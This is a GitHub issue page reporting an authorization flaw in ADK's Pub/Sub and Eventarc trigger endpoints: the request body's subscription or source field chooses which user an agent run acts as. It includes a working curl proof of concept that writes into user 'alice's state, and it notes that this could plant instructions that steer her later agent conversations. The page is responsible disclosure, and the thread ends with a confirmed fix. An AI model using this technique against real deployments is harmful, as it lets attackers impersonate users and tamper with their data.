Skip to content

Trigger endpoints take the run's user_id from the request body, so a trigger request can run as (and write into) any existing user #8204

Description

@gxy1113

🔴 Required Information

Describe the Bug:

The trigger endpoints (/apps/{app}/trigger/pubsub and /apps/{app}/trigger/eventarc) start an agent
run for each incoming event. Every run needs a user id, and ADK takes it from a field in the request
body: subscription for Pub/Sub, source for Eventarc. The value is only trimmed and has / replaced
by -- (_make_trigger_user_id, src/google/adk/cli/trigger_routes.py:249-262).

Nothing checks that field. A request that sets it to another user's id, for example "alice", makes the
agent run as alice: the run gets alice's per-user data (user: state, user artifacts, memory), and
whatever it writes is saved into alice's data, which her own later sessions read.

The token check does not prevent this. It only decides whether the caller may call the endpoint; it is
not used to decide which user the run belongs to.

Steps to Reproduce:

No model or Google credentials are needed: the agent below is a small BaseAgent that reports
user:secret and writes user:note. The server is ADK's own get_fast_api_app with Pub/Sub triggers;
since a Google token cannot be minted offline, the trigger verifier is replaced by one that accepts any
bearer token, i.e. what GoogleOidcVerifier does for any Google-signed token of the audience when
--trigger_oidc_service_accounts is not set.

  1. Install ADK and create the files:
    • agents/demo/__init__.py: makes agents/demo the ADK app demo that the server loads
      (the app name in /apps/demo/...).
    • agents/demo/agent.py: a mock agent, without a model, that mimics what a real agent does with
      per-user data: it reads user:secret from the run's state and writes user:note into per-user
      state. The write is the observable: it lands in whichever user the run belongs to.
    • serve.py: starts ADK's own API server (get_fast_api_app) with the Pub/Sub trigger enabled,
      using a verifier that accepts any bearer token in place of GoogleOidcVerifier.
python -m venv venv && . venv/bin/activate
pip install "git+https://github.com/google/adk-python@761538ab2"
mkdir -p agents/demo && echo 'from . import agent' > agents/demo/__init__.py

cat > agents/demo/agent.py <<'EOF'
from google.adk.agents import BaseAgent
from google.adk.events import Event, EventActions
from google.genai import types


class UserDataAgent(BaseAgent):
    async def _run_async_impl(self, ctx):
        reply = f"user={ctx.session.user_id} secret={ctx.session.state.get('user:secret')}"
        yield Event(author=self.name, invocation_id=ctx.invocation_id,
                    actions=EventActions(state_delta={"user:note": "written by a trigger run"}),
                    content=types.Content(role="model", parts=[types.Part(text=reply)]))


root_agent = UserDataAgent(name="demo")
EOF

cat > serve.py <<'EOF'
import uvicorn
from fastapi import HTTPException, Request
from google.adk.cli.fast_api import get_fast_api_app


async def any_bearer_token(request: Request) -> None:  # stands in for GoogleOidcVerifier
    if not request.headers.get("authorization", "").startswith("Bearer "):
        raise HTTPException(status_code=401)


app = get_fast_api_app(agents_dir="agents", web=False, trigger_sources=["pubsub"],
                       trigger_auth_verifier=any_bearer_token, use_local_storage=False, port=8003)
uvicorn.run(app, host="127.0.0.1", port=8003)
EOF
  1. Start the server (port 8003 must be free): python serve.py &
  2. Give user alice some per-user state (in practice this comes from her own sessions):
H=(-H "Authorization: Bearer t" -H "Content-Type: application/json")
B=http://127.0.0.1:8003/apps/demo
curl -s -X POST $B/users/alice/sessions "${H[@]}" -d '{"state": {"user:secret": "alice-secret-4711"}}' >/dev/null
  1. Send one trigger with a normal subscription name, and one whose subscription is alice; check
    alice's per-user state after each:
state() { curl -s -X POST $B/users/alice/sessions "${H[@]}" -d '{}' | python3 -c 'import json,sys; print(json.load(sys.stdin)["state"])'; }
curl -s -X POST $B/trigger/pubsub "${H[@]}" -d '{"subscription": "projects/p/subscriptions/orders", "message": {"data": "aGk=", "messageId": "1"}}'; echo
state
curl -s -X POST $B/trigger/pubsub "${H[@]}" -d '{"subscription": "alice", "message": {"data": "aGk=", "messageId": "2"}}'; echo
state

Expected Behavior:

A trigger run belongs to the trigger (or to the authenticated caller), not to a user chosen by the
request. The second trigger should not run in alice's per-user context or change her data.

Observed Behavior:

{"status":"success"}
{'user:secret': 'alice-secret-4711'}
{"status":"success"}
{'user:secret': 'alice-secret-4711', 'user:note': 'written by a trigger run'}

After the trigger with "subscription": "alice", the run had executed as alice (with her
user:secret in its state) and its write is in her per-user state. The normal subscription name left
her state unchanged.

Environment Details:

  • ADK Library Version (pip show google-adk): 2.14.1 (commit 761538a)
  • Desktop OS: Linux
  • Python Version (python -V): 3.12

Model Information:

  • Are you using LiteLLM: No
  • Which model is being used: N/A (model-free agent; the issue is in the trigger routes)

🟡 Optional Information

Additional Context:

Potential impact. With --trigger_oidc_audience set and --trigger_oidc_service_accounts unset
(documented as "caller identity is not enforced", cli/fast_api.py:205-209), any valid Google-signed
ID token for the endpoint's audience is accepted, e.g. one minted by any service account. Such a caller can:

  • run the agent in any existing user's per-user context (any user id without /), so the agent's tools
    act on that user's state, artifacts and memory;
  • write into that user's state, artifacts and memory, which the user's own later sessions read; this
    can plant instructions or false facts that steer the user's future conversations.

Trigger responses only return a status, so the caller does not receive the agent's reply directly; the
effect is acting as the user and changing their data, plus anything the agent's tools send out. The
same applies to /trigger/eventarc, where source is free text. Deployments made with
adk deploy ... --trigger_sources run the same server (adk api_server).

Suggested fix.

  • Do not take user_id from caller-controlled fields: derive it from the verified token, or put trigger
    runs in their own namespace (e.g. trigger:<subscription>) that cannot equal an interactive user id.
  • Validate subscription against projects/*/subscriptions/*.
  • Fail closed, or warn loudly, when an audience is set without --trigger_oidc_service_accounts.

How often has this issue occurred?:

  • Always (100%)

Activity

  1. added
    core[Component] This issue is related to the core interface and implementation
    on Nov 18, 2026
  2. Skull-boy commented on Nov 18, 2026

    @Skull-boy

    Hey @surajksharma07 @sanketpatil06 I just reproduced this locally against src/google/adk/cli/trigger_routes.py (_make_trigger_user_id passes the raw subscription / source value straight through as user_id). I'd like to pick this up and add regression coverage in test_trigger_routes.py.

    Before opening a PR, which direction do maintainers prefer?

    1. Namespace trigger user IDs (e.g., trigger:<sanitized_id>) so trigger runs can never collide with interactive user IDs, plus validating Pub/Sub subscription against projects/*/subscriptions/*.
    2. Also binding/deriving identity from the verified OIDC token when present, or warning/failing closed if --trigger_oidc_audience is set without --trigger_oidc_service_accounts.

    Happy to implement whichever scope aligns best with ADK's trigger design.

  3. sanketpatil06 commented on Nov 19, 2026

    @sanketpatil06

    Hi @gxy1113, thanks for the detailed report and reproduction. The behavior is valid: the trigger endpoints took the run's user_id from the request's subscription / source field, so a trigger request could run as an existing user and write to their data.

    Thanks @Skull-boy for reproducing this and opening #8239. It moves trigger runs into a trigger--<pubsub|eventarc>--<metadata> namespace, so the request body can no longer select an existing user. Isolation tests cover the Pub/Sub subscription, Eventarc source and ce-source paths.

    @gxy1113, could you try #8239 on your end and confirm whether it resolves the issue before we move forward with review and merge?

  4. added
    request clarification[Status] The maintainer need clarification or more information from the author
    on Nov 19, 2026
  5. gxy1113 commented on Nov 19, 2026

    @gxy1113
    Author

    Hi @sanketpatil06, thanks for the quick response. I tried the fix and cannot trigger the issue now. Thank you @Skull-boy for creating the fix!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

Labels

core[Component] This issue is related to the core interface and implementationrequest clarification[Status] The maintainer need clarification or more information from the author

Type

Projects

No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions